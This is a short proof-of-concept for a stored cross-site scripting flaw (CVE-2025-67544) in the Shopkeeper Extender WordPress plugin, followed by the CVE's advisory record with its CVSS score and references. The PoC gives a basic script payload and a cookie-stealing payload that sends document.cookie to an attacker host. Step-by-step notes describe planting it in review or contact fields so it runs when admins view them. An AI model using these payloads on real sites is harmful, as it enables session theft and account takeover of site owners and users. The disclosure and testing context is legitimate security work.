CVE-2025-67544

// CVE-2025-67544 PoC - Stored XSS in Shopkeeper Extender // Affected: Shopkeeper Extender < 7.0 // Attack Vector: Inject malicious JavaScript via user input fields // Example payload in comment or form field: const xssPayload = `<script>alert(document.cookie)</script>`; // Alternative payload for cookie stealing: const cookieStealerPayload = `<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">`; // The payload is stored in the database and executed when viewed by other users // This PoC demonstrates the vulnerability exists in user input handling // To test: // 1. Identify input fields in Shopkeeper Extender (product reviews, contact forms, etc.) // 2. Submit the XSS payload // 3. When admin or other users view the content, the script executes // Note: This is for authorized security testing only

{"cve": {"id": "CVE-2025-67544", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:30.047", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Get Bowtied Shopkeeper Extender shopkeeper-extender allows Stored XSS.This issue affects Shopkeeper Extender: from n/a through < 7.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/shopkeeper-extender/vulnerability/wordpress-shopkeeper-extender-plugin-7-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}